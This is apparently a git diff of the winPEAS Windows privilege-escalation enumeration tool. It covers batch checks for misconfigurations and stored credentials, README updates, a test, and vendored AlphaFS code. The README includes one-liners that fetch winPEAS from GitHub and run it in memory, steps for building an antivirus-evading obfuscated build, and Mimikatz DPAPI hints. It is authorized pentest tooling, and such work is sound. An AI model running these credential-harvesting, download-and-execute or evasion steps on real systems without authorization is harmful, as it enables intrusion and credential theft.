IF "!CurrentFolder!" NEQ "!CurrentFolder: =!" (
|
||||
ECHO winPEAS.bat cannot run if the current path contains spaces.
|
||||
ECHO Exiting.
|
||||
EXIT /B 1
|
||||
)
|
||||
|
||||
:Splash
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
|
||||
@@ -52,10 +60,10 @@ CALL :ColorLine " %E%41mUse it at your own networks and/or with the network ow
|
||||
ECHO.
|
||||
|
||||
:SystemInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO"
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -174,7 +182,7 @@ CALL :T_Progress 1
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -225,7 +233,7 @@ CALL :T_Progress 1
|
||||
:InstalledSoftware
|
||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
|
||||
ECHO.
|
||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||
@@ -236,15 +244,15 @@ CALL :T_Progress 2
|
||||
|
||||
:RemodeDeskCredMgr
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WSUS
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
|
||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -252,7 +260,7 @@ CALL :T_Progress 1
|
||||
:RunningProcesses
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
|
||||
tasklist /SVC
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -273,7 +281,7 @@ CALL :T_Progress 3
|
||||
:RunAtStartup
|
||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
|
||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||
@@ -297,7 +305,7 @@ CALL :T_Progress 2
|
||||
:AlwaysInstallElevated
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
|
||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||
ECHO.
|
||||
@@ -361,7 +369,7 @@ CALL :T_Progress 1
|
||||
:BasicUserInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||
net user %username%
|
||||
@@ -404,7 +412,7 @@ CALL :T_Progress 1
|
||||
|
||||
:CurrentClipboard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT CLIPBOARD"
|
||||
ECHO. [i] Any password inside the clipboard?
|
||||
ECHO. [i] Any passwords inside the clipboard?
|
||||
powershell -command "Get-Clipboard" 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -435,7 +443,7 @@ ECHO.
|
||||
|
||||
:ServiceBinaryPermissions
|
||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||
)
|
||||
@@ -444,7 +452,7 @@ CALL :T_Progress 1
|
||||
|
||||
:CheckRegistryModificationAbilities
|
||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f %%a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv >nul 2>&1 & reg save %%a %temp%\reg.hiv >nul 2>&1 && reg restore %%a %temp%\reg.hiv >nul 2>&1 && ECHO.You can modify %%a
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -453,7 +461,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UNQUOTED SERVICE PATHS"
|
||||
ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
@@ -468,7 +476,7 @@ ECHO.
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@@ -477,7 +485,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#windows-vault
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -485,14 +493,14 @@ CALL :T_Progress 2
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
@@ -565,7 +573,7 @@ CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@@ -573,7 +581,7 @@ CALL :T_Progress 2
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||

|
||||
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
||||
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||
|
||||
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
||||
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||
|
||||
[](https://youtu.be/66gOwXMnxRI)
|
||||
|
||||
@@ -13,25 +13,24 @@ Check also the **Local Windows Privilege Escalation checklist** from **[book.hac
|
||||
**.Net >= 4.5.2 is required**
|
||||
|
||||
Precompiled binaries:
|
||||
- Download the **[latest obfuscated version from here](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases)** or **compile it yourself** (read instructions for compilation).
|
||||
- Non-Obfuscated [winPEASany.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASexe/binaries/Release/winPEASany.exe)
|
||||
- Non-Obfuscated [winPEASx64.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe)
|
||||
- Non-Obfuscated [winPEASx86.exe](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe)
|
||||
- Download the **[latest obfuscated and not obfuscated versions from here](https://github.com/carlospolop/PEASS-ng/releases/latest)** or **compile it yourself** (read instructions for compilation).
|
||||
|
||||
```bash
|
||||
#One liner to download and execute winPEASany from memory in a PS shell
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/Obfuscated%20Releases/winPEASany.exe" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||
# Get latest release
|
||||
$url = "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
|
||||
|
||||
#Before cmd in 3 lines
|
||||
$url = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/Release/winPEASany.exe"
|
||||
# One liner to download and execute winPEASany from memory in a PS shell
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")
|
||||
|
||||
# Before cmd in 3 lines
|
||||
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
#Load from disk in memory and execute:
|
||||
# Load from disk in memory and execute:
|
||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS.exe")));
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
#Load from disk in base64 and execute
|
||||
# Load from disk in base64 and execute
|
||||
##Generate winpeas in Base64:
|
||||
[Convert]::ToBase64String([IO.File]::ReadAllBytes("D:\Users\user\winPEAS.exe")) | Out-File -Encoding ASCII D:\Users\user\winPEAS.txt
|
||||
##Now upload the B64 string to the victim inside a file or copy it to the clipboard
|
||||
@@ -44,7 +43,7 @@ $thecontent = "aaaaaaaa..." #Where "aaa..." is the winpeas base64 string
|
||||
$wp = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($thecontent))
|
||||
[winPEAS.Program]::Main("") #Put inside the quotes the winpeas parameters you want to use
|
||||
|
||||
#Loading from file and executing a winpeas obfuscated version
|
||||
# Loading from file and executing a winpeas obfuscated version
|
||||
##Load obfuscated version
|
||||
$wp = [System.Reflection.Assembly]::Load([byte[]]([IO.File]::ReadAllBytes("D:\Users\victim\winPEAS-Obfuscated.exe")));
|
||||
$wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions sometimes this is different from "winPEAS.Program"
|
||||
@@ -54,6 +53,7 @@ $wp.EntryPoint #Get the name of the ReflectedType, in obfuscated versions someti
|
||||
## Parameters Examples
|
||||
|
||||
```bash
|
||||
winpeas.exe -h # Get Help
|
||||
winpeas.exe #run all checks (except for additional slower checks - LOLBAS and linpeas.sh in WSL) (noisy - CTFs)
|
||||
winpeas.exe systeminfo userinfo #Only systeminfo and userinfo checks executed
|
||||
winpeas.exe notcolor #Do not color the output
|
||||
@@ -65,30 +65,6 @@ winpeas.exe -linpeas=http://127.0.0.1/linpeas.sh #Execute also additional linpea
|
||||
winpeas.exe -lolbas #Execute also additional LOLBAS search check
|
||||
```
|
||||
|
||||
## Help
|
||||
```
|
||||
quiet Do not print banner
|
||||
notcolor Don't use ansi colors (all white)
|
||||
systeminfo Search system information
|
||||
userinfo Search user information
|
||||
processinfo Search processes information
|
||||
servicesinfo Search services information
|
||||
applicationsinfo Search installed applications information
|
||||
networkinfo Search network information
|
||||
windowscreds Search windows credentials
|
||||
browserinfo Search browser information
|
||||
filesinfo Search files that can contains credentials
|
||||
eventsinfo Display interesting events information
|
||||
wait Wait for user input between checks
|
||||
debug Display debugging information - memory usage, method execution time
|
||||
log=[logfile] Log all output to file defined as logfile, or to "out.txt" if not specified
|
||||
|
||||
Additional checks (slower):
|
||||
-lolbas Run additional LOLBAS check
|
||||
-linpeas=[url] Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL
|
||||
(default: https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh)
|
||||
```
|
||||
|
||||
## Basic information
|
||||
|
||||
The goal of this project is to search for possible **Privilege Escalation Paths** in Windows environments.
|
||||
@@ -106,9 +82,13 @@ REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
|
||||
|
||||
Below you have some indications about what does each color means exacty, but keep in mind that **Red** is for something interesting (from a pentester perspective) and **Green** is something well configured (from a defender perspective).
|
||||
|
||||

|
||||
|
||||
## Instructions to compile you own obfuscated version
|
||||
|
||||
<details>
|
||||
<summary>Details</summary>
|
||||
|
||||
In order to compile an **ofuscated version** of Winpeas and bypass some AVs you need to ** install dotfuscator ** in *VisualStudio*.
|
||||
|
||||
To install it *open VisualStudio --> Go to Search (CTRL+Q) --> Write "dotfuscator"* and just follow the instructions to install it.
|
||||
@@ -126,10 +106,9 @@ Once you have installed and activated it you need to:
|
||||
|
||||

|
||||
|
||||
|
||||
## Colors
|
||||
|
||||

|
||||
**IMPORTANT**: Note that Defender will higly probable delete the winpeas iintial unobfuscated version, so you need to set as expections the origin folder of Winpeas and the folder were the obfuscated version will be saved:
|
||||

|
||||
</details>
|
||||
|
||||
## Checks
|
||||
|
||||
@@ -274,16 +253,9 @@ If you find any issue, please report it using **[github issues](https://github.c
|
||||
|
||||
**WinPEAS** is being **updated** every time I find something that could be useful to escalate privileges.
|
||||
|
||||
## Please, if this tool has been useful for you consider to donate
|
||||
|
||||
[](https://www.patreon.com/peass)
|
||||
|
||||
## Advisory
|
||||
|
||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||
|
||||
## License
|
||||
|
||||
MIT License
|
||||
|
||||
By Polop<sup>(TM)</sup>, makikvues (makikvues2[at]gmail[dot].com)
|
||||
By Polop
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
|
||||
@@ -12,7 +12,7 @@ namespace winPEAS.Tests
|
||||
try
|
||||
{
|
||||
string[] args = new string[] {
|
||||
"systeminfo", "servicesinfo", "processinfo", "applicationsinfo", "browserinfo", "debug"
|
||||
"systeminfo", "userinfo", "servicesinfo", "browserinfo", "eventsinfo", "debug"
|
||||
};
|
||||
Program.Main(args);
|
||||
}
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
0
winPEAS/winPEASexe/binaries/Release/.gitkeep
Normal file
0
winPEAS/winPEASexe/binaries/Release/.gitkeep
Normal file
Binary file not shown.
0
winPEAS/winPEASexe/binaries/x64/Release/.gitkeep
Normal file
0
winPEAS/winPEASexe/binaries/x64/Release/.gitkeep
Normal file
Binary file not shown.
0
winPEAS/winPEASexe/binaries/x86/Release/.gitkeep
Normal file
0
winPEAS/winPEASexe/binaries/x86/Release/.gitkeep
Normal file
Binary file not shown.
56
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/ChangeErrorMode.cs
vendored
Normal file
56
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/ChangeErrorMode.cs
vendored
Normal file
@@ -0,0 +1,56 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
internal static partial class NativeMethods
|
||||
{
|
||||
/// <summary>Controls whether the system will handle the specified types of serious errors or whether the process will handle them.</summary>
|
||||
/// <remarks>Minimum supported client: Windows 2000 Professional</remarks>
|
||||
/// <remarks>Minimum supported server: Windows 2000 Server</remarks>
|
||||
public sealed class ChangeErrorMode : IDisposable
|
||||
{
|
||||
private readonly ErrorMode _oldMode;
|
||||
|
||||
/// <summary>ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups.</summary>
|
||||
/// <param name="mode">One of the <see cref="ErrorMode"/> values.</param>
|
||||
public ChangeErrorMode(ErrorMode mode)
|
||||
{
|
||||
if (IsAtLeastWindows7)
|
||||
SetThreadErrorMode(mode, out _oldMode);
|
||||
else
|
||||
_oldMode = SetErrorMode(mode);
|
||||
}
|
||||
|
||||
void IDisposable.Dispose()
|
||||
{
|
||||
ErrorMode oldMode;
|
||||
|
||||
if (IsAtLeastWindows7)
|
||||
SetThreadErrorMode(_oldMode, out oldMode);
|
||||
else
|
||||
SetErrorMode(_oldMode);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
522
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Device.cs
vendored
Normal file
522
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Device.cs
vendored
Normal file
@@ -0,0 +1,522 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.AccessControl;
|
||||
using System.Text;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Provides static methods to retrieve device resource information from a local or remote host.</summary>
|
||||
public static class Device
|
||||
{
|
||||
#region Enumerate Devices
|
||||
|
||||
/// <summary>[AlphaFS] Enumerates all available devices on the local host.</summary>
|
||||
/// <returns><see cref="IEnumerable{DeviceInfo}"/> instances of type <see cref="DeviceGuid"/> from the local host.</returns>
|
||||
/// <param name="deviceGuid">One of the <see cref="DeviceGuid"/> devices.</param>
|
||||
//[SecurityCritical]
|
||||
//public static IEnumerable<DeviceInfo> EnumerateDevices(DeviceGuid deviceGuid)
|
||||
//{
|
||||
// return EnumerateDevicesCore(null, deviceGuid, true);
|
||||
//}
|
||||
|
||||
|
||||
///// <summary>[AlphaFS] Enumerates all available devices of type <see cref="DeviceGuid"/> on the local or remote host.</summary>
|
||||
///// <returns><see cref="IEnumerable{DeviceInfo}"/> instances of type <see cref="DeviceGuid"/> for the specified <paramref name="hostName"/>.</returns>
|
||||
///// <param name="hostName">The name of the local or remote host on which the device resides. <c>null</c> refers to the local host.</param>
|
||||
///// <param name="deviceGuid">One of the <see cref="DeviceGuid"/> devices.</param>
|
||||
//[SecurityCritical]
|
||||
//public static IEnumerable<DeviceInfo> EnumerateDevices(string hostName, DeviceGuid deviceGuid)
|
||||
//{
|
||||
// return EnumerateDevicesCore(hostName, deviceGuid, true);
|
||||
//}
|
||||
|
||||
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Enumerates all available devices on the local or remote host.</summary>
|
||||
//[SecurityCritical]
|
||||
//internal static IEnumerable<DeviceInfo> EnumerateDevicesCore(string hostName, DeviceGuid deviceGuid, bool getAllProperties)
|
||||
//{
|
||||
// if (Utils.IsNullOrWhiteSpace(hostName))
|
||||
// hostName = Environment.MachineName;
|
||||
|
||||
|
||||
// // CM_Connect_Machine()
|
||||
// // MSDN Note: Beginning in Windows 8 and Windows Server 2012 functionality to access remote machines has been removed.
|
||||
// // You cannot access remote machines when running on these versions of Windows.
|
||||
// // http://msdn.microsoft.com/en-us/library/windows/hardware/ff537948%28v=vs.85%29.aspx
|
||||
|
||||
|
||||
